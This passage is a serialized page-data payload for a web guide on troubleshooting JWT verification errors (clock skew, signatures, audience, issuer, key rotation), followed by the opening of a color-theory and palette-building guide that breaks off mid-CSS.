",[143,90266,90022],{},[216,90268,90269],{},"Check auth server's token lifetime configuration",[199,90271,90272,90275],{},[216,90273,90274],{},"Client clock misconfigured",[216,90276,90277],{},"Sync system time via NTP",[33,90279,90281],{"id":90280},"clock-skew-fix","Clock Skew Fix",[135,90283,90285],{"className":1607,"code":90284,"language":1609,"meta":141,"style":141},"const jwt = require('jsonwebtoken');\n\n\u002F\u002F Allow 30 seconds of clock skew\njwt.verify(token, secret, { clockTolerance: 30 });\n",[143,90286,90287,90305,90309,90314],{"__ignoreMap":141},[1560,90288,90289,90291,90294,90296,90298,90300,90303],{"class":1562,"line":1563},[1560,90290,8180],{"class":1669},[1560,90292,90293],{"class":1576}," jwt",[1560,90295,8186],{"class":1669},[1560,90297,20658],{"class":1566},[1560,90299,1688],{"class":1570},[1560,90301,90302],{"class":5634},"'jsonwebtoken'",[1560,90304,1744],{"class":1570},[1560,90306,90307],{"class":1562,"line":337},[1560,90308,1702],{"emptyLinePlaceholder":363},[1560,90310,90311],{"class":1562,"line":343},[1560,90312,90313],{"class":1649},"\u002F\u002F Allow 30 seconds of clock skew\n",[1560,90315,90316,90319,90322,90325,90327],{"class":1562,"line":365},[1560,90317,90318],{"class":1570},"jwt.",[1560,90320,90321],{"class":1566},"verify",[1560,90323,90324],{"class":1570},"(token, secret, { clockTolerance: ",[1560,90326,23995],{"class":1576},[1560,90328,11630],{"class":1570},[11,90330,90332],{"id":90331},"error-2-invalid-signature","Error 2: Invalid Signature",[33,90334,90049],{"id":90335},"symptoms-1",[41,90337,90338,90347],{},[44,90339,90340,90341,1531,90344],{},"Server returns 401 with ",[143,90342,90343],{},"\"invalid signature\"",[143,90345,90346],{},"\"jwt malformed\"",[44,90348,90349],{},"Token was not tampered with, but verification still fails",[33,90351,90067],{"id":90352},"diagnosis-1",[16,90354,90355],{},"This is the most confusing error because the token looks valid when decoded. The payload is readable, but the signature doesn't match.",[33,90357,90359],{"id":90358},"common-causes-and-fixes","Common Causes and Fixes",[16,90361,90362,8037],{},[47,90363,90364],{},"Wrong secret key (HS256)",[135,90366,90368],{"className":1607,"code":90367,"language":1609,"meta":141,"style":141},"\u002F\u002F Make sure the secret exactly matches what the issuer uses\n\u002F\u002F Include any whitespace or encoding issues\nconst secret = process.env.JWT_SECRET; \u002F\u002F Verify this matches\njwt.verify(token, secret);\n",[143,90369,90370,90375,90380,90400],{"__ignoreMap":141},[1560,90371,90372],{"class":1562,"line":1563},[1560,90373,90374],{"class":1649},"\u002F\u002F Make sure the secret exactly matches what the issuer uses\n",[1560,90376,90377],{"class":1562,"line":337},[1560,90378,90379],{"class":1649},"\u002F\u002F Include any whitespace or encoding issues\n",[1560,90381,90382,90384,90387,90389,90392,90395,90397],{"class":1562,"line":343},[1560,90383,8180],{"class":1669},[1560,90385,90386],{"class":1576}," secret",[1560,90388,8186],{"class":1669},[1560,90390,90391],{"class":1570}," process.env.",[1560,90393,90394],{"class":1576},"JWT_SECRET",[1560,90396,3664],{"class":1570},[1560,90398,90399],{"class":1649},"\u002F\u002F Verify this matches\n",[1560,90401,90402,90404,90406],{"class":1562,"line":365},[1560,90403,90318],{"class":1570},[1560,90405,90321],{"class":1566},[1560,90407,90408],{"class":1570},"(token, secret);\n",[16,90410,90411,8037],{},[47,90412,90413],{},"Wrong public key (RS256)",[135,90415,90417],{"className":1607,"code":90416,"language":1609,"meta":141,"style":141},"\u002F\u002F Fetch the correct public key from the issuer's JWKS endpoint\nconst jwksClient = require('jwks-rsa');\n\nconst client = jwksClient({\n  jwksUri: 'https:\u002F\u002Fauth.example.com\u002F.well-known\u002Fjwks.json'\n});\n\nconst key = await client.getSigningKey(kid);\nconst publicKey = key.getPublicKey();\njwt.verify(token, publicKey);\n",[143,90418,90419,90424,90442,90446,90459,90467,90471,90475,90495,90512],{"__ignoreMap":141},[1560,90420,90421],{"class":1562,"line":1563},[1560,90422,90423],{"class":1649},"\u002F\u002F Fetch the correct public key from the issuer's JWKS endpoint\n",[1560,90425,90426,90428,90431,90433,90435,90437,90440],{"class":1562,"line":337},[1560,90427,8180],{"class":1669},[1560,90429,90430],{"class":1576}," jwksClient",[1560,90432,8186],{"class":1669},[1560,90434,20658],{"class":1566},[1560,90436,1688],{"class":1570},[1560,90438,90439],{"class":5634},"'jwks-rsa'",[1560,90441,1744],{"class":1570},[1560,90443,90444],{"class":1562,"line":343},[1560,90445,1702],{"emptyLinePlaceholder":363},[1560,90447,90448,90450,90453,90455,90457],{"class":1562,"line":365},[1560,90449,8180],{"class":1669},[1560,90451,90452],{"class":1576}," client",[1560,90454,8186],{"class":1669},[1560,90456,90430],{"class":1566},[1560,90458,17525],{"class":1570},[1560,90460,90461,90464],{"class":1562,"line":889},[1560,90462,90463],{"class":1570},"  jwksUri: ",[1560,90465,90466],{"class":5634},"'https:\u002F\u002Fauth.example.com\u002F.well-known\u002Fjwks.json'\n",[1560,90468,90469],{"class":1562,"line":1710},[1560,90470,11809],{"class":1570},[1560,90472,90473],{"class":1562,"line":1717},[1560,90474,1702],{"emptyLinePlaceholder":363},[1560,90476,90477,90479,90482,90484,90486,90489,90492],{"class":1562,"line":1747},[1560,90478,8180],{"class":1669},[1560,90480,90481],{"class":1576}," key",[1560,90483,8186],{"class":1669},[1560,90485,28065],{"class":1669},[1560,90487,90488],{"class":1570}," client.",[1560,90490,90491],{"class":1566},"getSigningKey",[1560,90493,90494],{"class":1570},"(kid);\n",[1560,90496,90497,90499,90502,90504,90507,90510],{"class":1562,"line":2507},[1560,90498,8180],{"class":1669},[1560,90500,90501],{"class":1576}," publicKey",[1560,90503,8186],{"class":1669},[1560,90505,90506],{"class":1570}," key.",[1560,90508,90509],{"class":1566},"getPublicKey",[1560,90511,90158],{"class":1570},[1560,90513,90514,90516,90518],{"class":1562,"line":2524},[1560,90515,90318],{"class":1570},[1560,90517,90321],{"class":1566},[1560,90519,90520],{"class":1570},"(token, publicKey);\n",[16,90522,90523,90526,90527,90530],{},[47,90524,90525],{},"Algorithm mismatch",": The token header specifies ",[143,90528,90529],{},"alg: \"RS256\"",", but the verifier defaults to HS256. Always specify the expected algorithm:",[135,90532,90534],{"className":1607,"code":90533,"language":1609,"meta":141,"style":141},"\u002F\u002F WRONG — lets the header dictate the algorithm (alg: none attack)\njwt.verify(token, publicKey);\n\n\u002F\u002F CORRECT — explicitly specify allowed algorithms\njwt.verify(token, publicKey, { algorithms: ['RS256'] });\n",[143,90535,90536,90541,90549,90553,90558],{"__ignoreMap":141},[1560,90537,90538],{"class":1562,"line":1563},[1560,90539,90540],{"class":1649},"\u002F\u002F WRONG — lets the header dictate the algorithm (alg: none attack)\n",[1560,90542,90543,90545,90547],{"class":1562,"line":337},[1560,90544,90318],{"class":1570},[1560,90546,90321],{"class":1566},[1560,90548,90520],{"class":1570},[1560,90550,90551],{"class":1562,"line":343},[1560,90552,1702],{"emptyLinePlaceholder":363},[1560,90554,90555],{"class":1562,"line":365},[1560,90556,90557],{"class":1649},"\u002F\u002F CORRECT — explicitly specify allowed algorithms\n",[1560,90559,90560,90562,90564,90567,90570],{"class":1562,"line":889},[1560,90561,90318],{"class":1570},[1560,90563,90321],{"class":1566},[1560,90565,90566],{"class":1570},"(token, publicKey, { algorithms: [",[1560,90568,90569],{"class":5634},"'RS256'",[1560,90571,90572],{"class":1570},"] });\n",[11,90574,90576],{"id":90575},"error-3-audience-mismatch","Error 3: Audience Mismatch",[33,90578,90049],{"id":90579},"symptoms-2",[41,90581,90582,90590],{},[44,90583,90584,1531,90587],{},[143,90585,90586],{},"\"jwt audience invalid\"",[143,90588,90589],{},"\"Audience not allowed\"",[44,90591,90592],{},"Token works for one API but not another",[33,90594,90067],{"id":90595},"diagnosis-2",[135,90597,90599],{"className":1607,"code":90598,"language":1609,"meta":141,"style":141},"const payload = decodeJWT(token);\nconsole.log('Token audience:', payload.aud);\nconsole.log('Expected audience:', expectedAud);\n",[143,90600,90601,90613,90627],{"__ignoreMap":141},[1560,90602,90603,90605,90607,90609,90611],{"class":1562,"line":1563},[1560,90604,8180],{"class":1669},[1560,90606,89941],{"class":1576},[1560,90608,8186],{"class":1669},[1560,90610,89879],{"class":1566},[1560,90612,90085],{"class":1570},[1560,90614,90615,90617,90619,90621,90624],{"class":1562,"line":337},[1560,90616,8211],{"class":1570},[1560,90618,8214],{"class":1566},[1560,90620,1688],{"class":1570},[1560,90622,90623],{"class":5634},"'Token audience:'",[1560,90625,90626],{"class":1570},", payload.aud);\n",[1560,90628,90629,90631,90633,90635,90638],{"class":1562,"line":343},[1560,90630,8211],{"class":1570},[1560,90632,8214],{"class":1566},[1560,90634,1688],{"class":1570},[1560,90636,90637],{"class":5634},"'Expected audience:'",[1560,90639,90640],{"class":1570},", expectedAud);\n",[33,90642,90228],{"id":90643},"common-causes-1",[41,90645,90646,90649,90652],{},[44,90647,90648],{},"The auth server was configured with the wrong audience identifier",[44,90650,90651],{},"Multiple APIs share tokens but have different audience requirements",[44,90653,421,90654,90656],{},[143,90655,90034],{}," claim is an array, but the verifier expects a string (or vice versa)",[33,90658,3690],{"id":90659},"fix",[135,90661,90663],{"className":1607,"code":90662,"language":1609,"meta":141,"style":141},"\u002F\u002F Allow multiple audiences\njwt.verify(token, secret, {\n  audience: ['https:\u002F\u002Fapi.example.com', 'https:\u002F\u002Fadmin.example.com']\n});\n",[143,90664,90665,90670,90679,90694],{"__ignoreMap":141},[1560,90666,90667],{"class":1562,"line":1563},[1560,90668,90669],{"class":1649},"\u002F\u002F Allow multiple audiences\n",[1560,90671,90672,90674,90676],{"class":1562,"line":337},[1560,90673,90318],{"class":1570},[1560,90675,90321],{"class":1566},[1560,90677,90678],{"class":1570},"(token, secret, {\n",[1560,90680,90681,90684,90687,90689,90692],{"class":1562,"line":343},[1560,90682,90683],{"class":1570},"  audience: [",[1560,90685,90686],{"class":5634},"'https:\u002F\u002Fapi.example.com'",[1560,90688,1459],{"class":1570},[1560,90690,90691],{"class":5634},"'https:\u002F\u002Fadmin.example.com'",[1560,90693,37203],{"class":1570},[1560,90695,90696],{"class":1562,"line":365},[1560,90697,11809],{"class":1570},[11,90699,90701],{"id":90700},"error-4-issuer-mismatch","Error 4: Issuer Mismatch",[33,90703,90049],{"id":90704},"symptoms-3",[41,90706,90707,90712],{},[44,90708,90709],{},[143,90710,90711],{},"\"jwt issuer invalid\"",[44,90713,90714],{},"Token was issued by a different identity provider than expected",[33,90716,90067],{"id":90717},"diagnosis-3",[135,90719,90721],{"className":1607,"code":90720,"language":1609,"meta":141,"style":141},"const payload = decodeJWT(token);\nconsole.log('Token issuer:', payload.iss);\nconsole.log('Expected issuer:', expectedIss);\n\u002F\u002F Common issue: trailing slash mismatch\n\u002F\u002F \"https:\u002F\u002Fauth.example.com\u002F\" !== \"https:\u002F\u002Fauth.example.com\"\n",[143,90722,90723,90735,90749,90763,90768],{"__ignoreMap":141},[1560,90724,90725,90727,90729,90731,90733],{"class":1562,"line":1563},[1560,90726,8180],{"class":1669},[1560,90728,89941],{"class":1576},[1560,90730,8186],{"class":1669},[1560,90732,89879],{"class":1566},[1560,90734,90085],{"class":1570},[1560,90736,90737,90739,90741,90743,90746],{"class":1562,"line":337},[1560,90738,8211],{"class":1570},[1560,90740,8214],{"class":1566},[1560,90742,1688],{"class":1570},[1560,90744,90745],{"class":5634},"'Token issuer:'",[1560,90747,90748],{"class":1570},", payload.iss);\n",[1560,90750,90751,90753,90755,90757,90760],{"class":1562,"line":343},[1560,90752,8211],{"class":1570},[1560,90754,8214],{"class":1566},[1560,90756,1688],{"class":1570},[1560,90758,90759],{"class":5634},"'Expected issuer:'",[1560,90761,90762],{"class":1570},", expectedIss);\n",[1560,90764,90765],{"class":1562,"line":365},[1560,90766,90767],{"class":1649},"\u002F\u002F Common issue: trailing slash mismatch\n",[1560,90769,90770],{"class":1562,"line":889},[1560,90771,90772],{"class":1649},"\u002F\u002F \"https:\u002F\u002Fauth.example.com\u002F\" !== \"https:\u002F\u002Fauth.example.com\"\n",[11,90774,90776],{"id":90775},"error-5-key-rotation-issues","Error 5: Key Rotation Issues",[33,90778,90049],{"id":90779},"symptoms-4",[41,90781,90782,90785],{},[44,90783,90784],{},"Tokens suddenly fail after a key rotation event",[44,90786,90787],{},"Some tokens work and others don't",[33,90789,90067],{"id":90790},"diagnosis-4",[16,90792,90793,90794,90797],{},"When the issuer rotates signing keys, the ",[143,90795,90796],{},"kid"," (key ID) in the JWT header identifies which key was used. If your application caches the public key, the cached key may be stale.",[33,90799,3690],{"id":90800},"fix-1",[135,90802,90804],{"className":1607,"code":90803,"language":1609,"meta":141,"style":141},"\u002F\u002F Use jwks-rsa with caching and rate limiting\nconst client = jwksClient({\n  jwksUri: 'https:\u002F\u002Fauth.example.com\u002F.well-known\u002Fjwks.json',\n  cache: true,\n  cacheMaxAge: 86400000, \u002F\u002F 24 hours\n  rateLimit: true,\n  jwksRequestsPerMinute: 10\n});\n",[143,90805,90806,90811,90823,90832,90841,90854,90863,90871],{"__ignoreMap":141},[1560,90807,90808],{"class":1562,"line":1563},[1560,90809,90810],{"class":1649},"\u002F\u002F Use jwks-rsa with caching and rate limiting\n",[1560,90812,90813,90815,90817,90819,90821],{"class":1562,"line":337},[1560,90814,8180],{"class":1669},[1560,90816,90452],{"class":1576},[1560,90818,8186],{"class":1669},[1560,90820,90430],{"class":1566},[1560,90822,17525],{"class":1570},[1560,90824,90825,90827,90830],{"class":1562,"line":343},[1560,90826,90463],{"class":1570},[1560,90828,90829],{"class":5634},"'https:\u002F\u002Fauth.example.com\u002F.well-known\u002Fjwks.json'",[1560,90831,11943],{"class":1570},[1560,90833,90834,90837,90839],{"class":1562,"line":365},[1560,90835,90836],{"class":1570},"  cache: ",[1560,90838,20533],{"class":1576},[1560,90840,11943],{"class":1570},[1560,90842,90843,90846,90849,90851],{"class":1562,"line":889},[1560,90844,90845],{"class":1570},"  cacheMaxAge: ",[1560,90847,90848],{"class":1576},"86400000",[1560,90850,1459],{"class":1570},[1560,90852,90853],{"class":1649},"\u002F\u002F 24 hours\n",[1560,90855,90856,90859,90861],{"class":1562,"line":1710},[1560,90857,90858],{"class":1570},"  rateLimit: ",[1560,90860,20533],{"class":1576},[1560,90862,11943],{"class":1570},[1560,90864,90865,90868],{"class":1562,"line":1717},[1560,90866,90867],{"class":1570},"  jwksRequestsPerMinute: ",[1560,90869,90870],{"class":1576},"10\n",[1560,90872,90873],{"class":1562,"line":1747},[1560,90874,11809],{"class":1570},[16,90876,90877,90878,90880],{},"Always extract the ",[143,90879,90796],{}," from the header and look up the corresponding key:",[135,90882,90884],{"className":1607,"code":90883,"language":1609,"meta":141,"style":141},"const decoded = jwt.decode(token, { complete: true });\nconst kid = decoded.header.kid;\nconst signingKey = await client.getSigningKey(kid);\n",[143,90885,90886,90907,90919],{"__ignoreMap":141},[1560,90887,90888,90890,90892,90894,90897,90900,90903,90905],{"class":1562,"line":1563},[1560,90889,8180],{"class":1669},[1560,90891,22986],{"class":1576},[1560,90893,8186],{"class":1669},[1560,90895,90896],{"class":1570}," jwt.",[1560,90898,90899],{"class":1566},"decode",[1560,90901,90902],{"class":1570},"(token, { complete: ",[1560,90904,20533],{"class":1576},[1560,90906,11630],{"class":1570},[1560,90908,90909,90911,90914,90916],{"class":1562,"line":337},[1560,90910,8180],{"class":1669},[1560,90912,90913],{"class":1576}," kid",[1560,90915,8186],{"class":1669},[1560,90917,90918],{"class":1570}," decoded.header.kid;\n",[1560,90920,90921,90923,90926,90928,90930,90932,90934],{"class":1562,"line":343},[1560,90922,8180],{"class":1669},[1560,90924,90925],{"class":1576}," signingKey",[1560,90927,8186],{"class":1669},[1560,90929,28065],{"class":1669},[1560,90931,90488],{"class":1570},[1560,90933,90491],{"class":1566},[1560,90935,90494],{"class":1570},[11,90937,90939],{"id":90938},"debugging-checklist","Debugging Checklist",[16,90941,90942],{},"When a JWT fails, check these in order:",[77,90944,90945,90951,90960,90969,90978,90986,90995,91004],{},[44,90946,90947,90950],{},[47,90948,90949],{},"Structure",": Does the token have exactly three dot-separated parts?",[44,90952,90953,90956,90957,90959],{},[47,90954,90955],{},"Expiration",": Is ",[143,90958,90022],{}," in the past?",[44,90961,90962,90956,90965,90968],{},[47,90963,90964],{},"Not Before",[143,90966,90967],{},"nbf"," in the future?",[44,90970,90971,90974,90975,90977],{},[47,90972,90973],{},"Issuer",": Does ",[143,90976,90028],{}," match the expected value (exact string, including trailing slashes)?",[44,90979,90980,90974,90983,90985],{},[47,90981,90982],{},"Audience",[143,90984,90034],{}," include this API's identifier?",[44,90987,90988,90990,90991,90994],{},[47,90989,6081],{},": Does the ",[143,90992,90993],{},"alg"," header match what the verifier expects?",[44,90996,90997,91000,91001,91003],{},[47,90998,90999],{},"Signature",": Is the correct key being used? Check ",[143,91002,90796],{}," against JWKS.",[44,91005,91006,91009],{},[47,91007,91008],{},"Clock Skew",": Are the client and server clocks synchronized?",[11,91011,1355],{"id":1354},[41,91013,91014,91017,91023,91026,91029,91032],{},[44,91015,91016],{},"Always decode and inspect the JWT payload before debugging authentication code",[44,91018,91019,91020,91022],{},"Clock skew between servers is the most common cause of unexpected ",[143,91021,90022],{}," failures",[44,91024,91025],{},"Specify allowed algorithms explicitly during verification to prevent algorithm confusion attacks",[44,91027,91028],{},"Audience and issuer mismatches often involve subtle string differences (trailing slashes, http vs https)",[44,91030,91031],{},"Key rotation requires JWKS-based key lookup — never hardcode public keys",[44,91033,91034],{},"Follow the debugging checklist in order — most JWT errors have straightforward root causes",[11,91036,286],{"id":285},[16,91038,91039,91040,91044],{},"Decode and inspect any JWT instantly with our free ",[98,91041,91043],{"href":91042},"\u002Ftools\u002Fjwt-decoder","JWT Decoder",". Paste a token to see its header, payload, and all claims — everything is processed locally in your browser with no server communication.",[16,91046,91047],{},[98,91048,91049],{"href":91042},"Try the JWT Decoder →",[2043,91051,91052],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":91054},[91055,91056,91057,91063,91068,91074,91078,91083,91084,91085],{"id":89851,"depth":337,"text":89852},{"id":89858,"depth":337,"text":89859},{"id":90044,"depth":337,"text":90045,"children":91058},[91059,91060,91061,91062],{"id":90048,"depth":343,"text":90049},{"id":90066,"depth":343,"text":90067},{"id":90227,"depth":343,"text":90228},{"id":90280,"depth":343,"text":90281},{"id":90331,"depth":337,"text":90332,"children":91064},[91065,91066,91067],{"id":90335,"depth":343,"text":90049},{"id":90352,"depth":343,"text":90067},{"id":90358,"depth":343,"text":90359},{"id":90575,"depth":337,"text":90576,"children":91069},[91070,91071,91072,91073],{"id":90579,"depth":343,"text":90049},{"id":90595,"depth":343,"text":90067},{"id":90643,"depth":343,"text":90228},{"id":90659,"depth":343,"text":3690},{"id":90700,"depth":337,"text":90701,"children":91075},[91076,91077],{"id":90704,"depth":343,"text":90049},{"id":90717,"depth":343,"text":90067},{"id":90775,"depth":337,"text":90776,"children":91079},[91080,91081,91082],{"id":90779,"depth":343,"text":90049},{"id":90790,"depth":343,"text":90067},{"id":90800,"depth":343,"text":3690},{"id":90938,"depth":337,"text":90939},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Troubleshoot common JWT authentication failures. Learn to debug expired tokens, signature mismatches, audience errors, and key rotation issues.",{"immutable":363},"\u002Fguides\u002Fdebugging-jwt-auth-errors",{"title":89846,"description":91086},"guides\u002Fdebugging-jwt-auth-errors","rXBoq8OCLaMFnY4rH4h5I-ORcUDmHtUvmteAZmL2_U8",{"id":91093,"title":29512,"body":91094,"date":2070,"description":91806,"extension":361,"meta":91807,"navigation":363,"path":29511,"readingTime":2507,"seo":91808,"stem":91809,"__hash__":91810},"guides\u002Fguides\u002Fdesign-color-fundamentals.md",{"type":8,"value":91095,"toc":91772},[91096,91100,91103,91106,91110,91113,91117,91120,91137,91141,91144,91161,91165,91168,91171,91175,91178,91180,91183,91201,91203,91206,91223,91225,91228,91245,91247,91250,91273,91275,91278,91290,91294,91297,91339,91343,91363,91366,91370,91373,91407,91411,91437,91441,91444,91449,91453,91456,91460,91463,91489,91493,91496,91546,91550,91553,91588,91592,91595,91612,91615,91619,91622,91647,91650,91654,91657,91674,91676,91716,91718,91738,91740,91743,91755,91757,91769],[11,91097,91099],{"id":91098},"why-color-theory-matters","Why Color Theory Matters",[16,91101,91102],{},"Color is the first thing users notice. It sets mood, directs attention, and communicates meaning—often before a single word is read. Without a grounding in color theory, picking colors becomes guesswork. With it, you build palettes that look intentional, feel harmonious, and meet accessibility standards.",[16,91104,91105],{},"This guide covers the core concepts every web designer needs: the color wheel, harmony types, temperature, contrast, and a repeatable process for building brand palettes.",[11,91107,91109],{"id":91108},"the-color-wheel-basics","The Color Wheel Basics",[16,91111,91112],{},"The color wheel arranges hues in a circle so relationships between them are easy to see. It dates back to Newton's prism experiments and remains the foundation of color selection.",[33,91114,91116],{"id":91115},"primary-colors-digital","Primary Colors (Digital)",[16,91118,91119],{},"Screens use additive color mixing—light adds together to create brighter colors:",[41,91121,91122,91127,91132],{},[44,91123,91124,91126],{},[47,91125,4275],{}," (#FF0000)",[44,91128,91129,91131],{},[47,91130,4247],{}," (#00FF00)",[44,91133,91134,91136],{},[47,91135,4289],{}," (#0000FF)",[33,91138,91140],{"id":91139},"secondary-colors","Secondary Colors",[16,91142,91143],{},"Mixing two primaries in equal parts produces secondary colors:",[41,91145,91146,91151,91156],{},[44,91147,91148,91150],{},[47,91149,29281],{}," = Red + Green",[44,91152,91153,91155],{},[47,91154,29257],{}," = Green + Blue",[44,91157,91158,91160],{},[47,91159,29269],{}," = Blue + Red",[33,91162,91164],{"id":91163},"tertiary-colors","Tertiary Colors",[16,91166,91167],{},"Mixing a primary with an adjacent secondary produces six tertiary colors: red-orange, yellow-orange, yellow-green, blue-green, blue-violet, red-violet.",[16,91169,91170],{},"The wheel thus has 12 evenly spaced hues, each 30° apart. Every color-harmony rule is built on the geometric relationships between positions on this wheel.",[11,91172,91174],{"id":91173},"color-harmony-types","Color Harmony Types",[16,91176,91177],{},"Harmony rules identify color combinations that look balanced. They work because the colors share a mathematical relationship on the wheel.",[33,91179,29858],{"id":30825},[16,91181,91182],{},"Two colors opposite each other (180° apart). High contrast and vibrant.",[41,91184,91185,91190,91195],{},[44,91186,91187,91189],{},[47,91188,28745],{}," Blue (#0000FF) ↔ Yellow (#FFFF00)",[44,91191,91192,91194],{},[47,91193,84807],{}," Call-to-action buttons that must stand out",[44,91196,91197,91200],{},[47,91198,91199],{},"Tip:"," Use one color at full saturation and the other at reduced saturation to avoid visual vibrating",[33,91202,29901],{"id":30847},[16,91204,91205],{},"Three adjacent colors (within 60° of each other). Low contrast, serene feel.",[41,91207,91208,91213,91218],{},[44,91209,91210,91212],{},[47,91211,28745],{}," Blue, Blue-Green, Green",[44,91214,91215,91217],{},[47,91216,84807],{}," Backgrounds, gradients, calm layouts",[44,91219,91220,91222],{},[47,91221,91199],{}," Pick one dominant hue, one supporting, one accent—don't give equal weight",[33,91224,29912],{"id":30869},[16,91226,91227],{},"Three colors equally spaced (120° apart). Strong contrast with balanced vibe.",[41,91229,91230,91235,91240],{},[44,91231,91232,91234],{},[47,91233,28745],{}," Red, Yellow, Blue (primary triad)",[44,91236,91237,91239],{},[47,91238,84807],{}," Diverse content sections, playful brands",[44,91241,91242,91244],{},[47,91243,91199],{}," Let one color dominate; use the other two sparingly",[33,91246,29880],{"id":30950},[16,91248,91249],{},"One hue with varying saturation and lightness. Cohesive and elegant.",[41,91251,91252,91263,91268],{},[44,91253,91254,6841,91256,91259,91260],{},[47,91255,28745],{},[143,91257,91258],{},"hsl(200, 80%, 20%)"," through ",[143,91261,91262],{},"hsl(200, 80%, 90%)",[44,91264,91265,91267],{},[47,91266,84807],{}," Minimalist designs, single-product pages",[44,91269,91270,91272],{},[47,91271,91199],{}," Add one contrasting accent color for interactive elements",[33,91274,30896],{"id":30895},[16,91276,91277],{},"One base color plus the two colors adjacent to its complement. High contrast like complementary but softer.",[41,91279,91280,91285],{},[44,91281,91282,91284],{},[47,91283,28745],{}," Blue base → complement is Orange → split into Red-Orange and Yellow-Orange",[44,91286,91287,91289],{},[47,91288,84807],{}," Beginners who want contrast without tension",[11,91291,91293],{"id":91292},"warm-vs-cool-colors","Warm vs Cool Colors",[16,91295,91296],{},"Colors on the wheel carry temperature associations that affect how users feel.",[193,91298,91299,91311],{},[196,91300,91301],{},[199,91302,91303,91306,91309],{},[202,91304,91305],{},"Temperature",[202,91307,91308],{},"Hues",[202,91310,29641],{},[211,91312,91313,91326],{},[199,91314,91315,91320,91323],{},[216,91316,91317],{},[47,91318,91319],{},"Warm",[216,91321,91322],{},"Red, Orange, Yellow",[216,91324,91325],{},"Energy, urgency, friendliness",[199,91327,91328,91333,91336],{},[216,91329,91330],{},[47,91331,91332],{},"Cool",[216,91334,91335],{},"Blue, Green, Purple",[216,91337,91338],{},"Calm, trust, professionalism",[33,91340,91342],{"id":91341},"how-to-use-temperature","How to Use Temperature",[41,91344,91345,91351,91357],{},[44,91346,91347,91350],{},[47,91348,91349],{},"Warm colors advance"," visually—they feel closer. Use them for buttons and highlights.",[44,91352,91353,91356],{},[47,91354,91355],{},"Cool colors recede","—they feel farther away. Use them for backgrounds and large surfaces.",[44,91358,91359,91362],{},[47,91360,91361],{},"Mix strategically",": a warm accent on a cool background draws the eye naturally.",[16,91364,91365],{},"Most corporate and SaaS websites lean cool (blue, gray) for trust, then add warm accents (orange CTA button) for action.",[11,91367,91369],{"id":91368},"contrast-and-accessibility","Contrast and Accessibility",[16,91371,91372],{},"Color contrast is a hard requirement, not a nice-to-have. WCAG 2.1 defines two compliance levels:",[193,91374,91375,91385],{},[196,91376,91377],{},[199,91378,91379,91381,91383],{},[202,91380,3291],{},[202,91382,3934],{},[202,91384,3937],{},[211,91386,91387,91397],{},[199,91388,91389,91393,91395],{},[216,91390,91391],{},[47,91392,3307],{},[216,91394,3310],{},[216,91396,3313],{},[199,91398,91399,91403,91405],{},[216,91400,91401],{},[47,91402,3320],{},[216,91404,3323],{},[216,91406,3310],{},[33,91408,91410],{"id":91409},"practical-contrast-rules","Practical Contrast Rules",[77,91412,91413,91419,91425,91431],{},[44,91414,91415,91418],{},[47,91416,91417],{},"Never use light gray text on white."," The most common accessibility failure on the web.",[44,91420,91421,91424],{},[47,91422,91423],{},"Test both light and dark modes."," A palette that works on white often fails on dark backgrounds.",[44,91426,91427,91430],{},[47,91428,91429],{},"Check interactive states."," Hover, focus, and disabled states need adequate contrast too.",[44,91432,91433,91436],{},[47,91434,91435],{},"Don't rely on color alone for meaning."," Use icons, text, or patterns alongside color cues.",[33,91438,91440],{"id":91439},"quick-test-method","Quick Test Method",[16,91442,91443],{},"Squint at your design. If two adjacent elements merge, there isn't enough contrast. For precise numbers, use a contrast-checking tool.",[16,91445,91446,91447,468],{},"For a deeper dive into WCAG contrast rules with real examples, see our ",[98,91448,4513],{"href":4512},[11,91450,91452],{"id":91451},"building-a-color-palette-for-your-brand","Building a Color Palette for Your Brand",[16,91454,91455],{},"Follow this five-step process to create a palette that is cohesive, flexible, and accessible.",[33,91457,91459],{"id":91458},"step-1-choose-a-primary-hue","Step 1: Choose a Primary Hue",[16,91461,91462],{},"Pick the hue that represents your brand.",[41,91464,91465,91471,91477,91483],{},[44,91466,91467,91470],{},[47,91468,91469],{},"Tech \u002F SaaS"," → Blue (210°–230°)",[44,91472,91473,91476],{},[47,91474,91475],{},"Health \u002F Eco"," → Green (140°–160°)",[44,91478,91479,91482],{},[47,91480,91481],{},"Creative \u002F Bold"," → Red-Orange (10°–30°)",[44,91484,91485,91488],{},[47,91486,91487],{},"Luxury \u002F Premium"," → Deep Purple (270°–290°)",[33,91490,91492],{"id":91491},"step-2-generate-a-lightness-scale","Step 2: Generate a Lightness Scale",[16,91494,91495],{},"Create 7–9 variants by adjusting lightness while hue and saturation stay constant:",[135,91497,91499],{"className":1554,"code":91498,"language":1556,"meta":141,"style":141},"--primary-50:  hsl(215, 80%, 95%);\n--primary-100: hsl(215, 80%, 88%);\n--primary-200: hsl(215, 80%, 76%);\n--primary-300: hsl(215, 80%, 64%);\n--primary-400: 